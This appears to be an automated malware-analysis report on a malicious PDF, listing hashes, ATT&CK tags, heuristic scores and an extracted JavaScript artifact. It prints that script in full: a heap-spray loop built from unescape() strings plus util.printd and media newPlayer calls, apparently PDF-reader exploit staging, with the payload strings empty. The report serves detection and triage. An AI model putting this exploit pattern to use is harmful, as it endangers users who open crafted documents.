PDF malware analysis — malicious · ff917bed27ab3bc6

MALICIOUS

PDF

801 B First seen: 2026-05-11

MD5: 99a0dbb33a4a7b2401be583935a47d65 SHA-1: 1faa7af0b657fd809006b70472201e5a38923d17 SHA-256: ff917bed27ab3bc61b6ba1854658642bd48b8ebb2c0ab1d3cc8c58d3048e9636

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded and obfuscated JavaScript. The heuristics indicate the use of unescape() and general script obfuscation, suggesting the script's purpose is to download and execute a secondary payload. The extracted artifact 'javascript_obj0005_000.js' is the likely source of this malicious behavior. Due to the obfuscation, the exact download URL or execution method cannot be confidently determined.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
var Wo = unescape("");
var yR = unescape("");
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0005_000.js`	pdf-javascript-stream	PDF /JS object 5 at offset 0x156	277 bytes
SHA-256: `9849e12e9dc43add43202113fb7aaa4ff22678d4fe533bf79320241dac284438`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var Wo = unescape(""); var yR = unescape(""); memory=new Array(); for(i=0;i<0x2000;) { memory[i]= yR + Wo; i++; } util.printd("", new Date()); util.printd("", new Date()); try {var ob = this.media; ob["new"+"Pl"+"ayer"](null);} catch(e) {} util.printd("", new Date());

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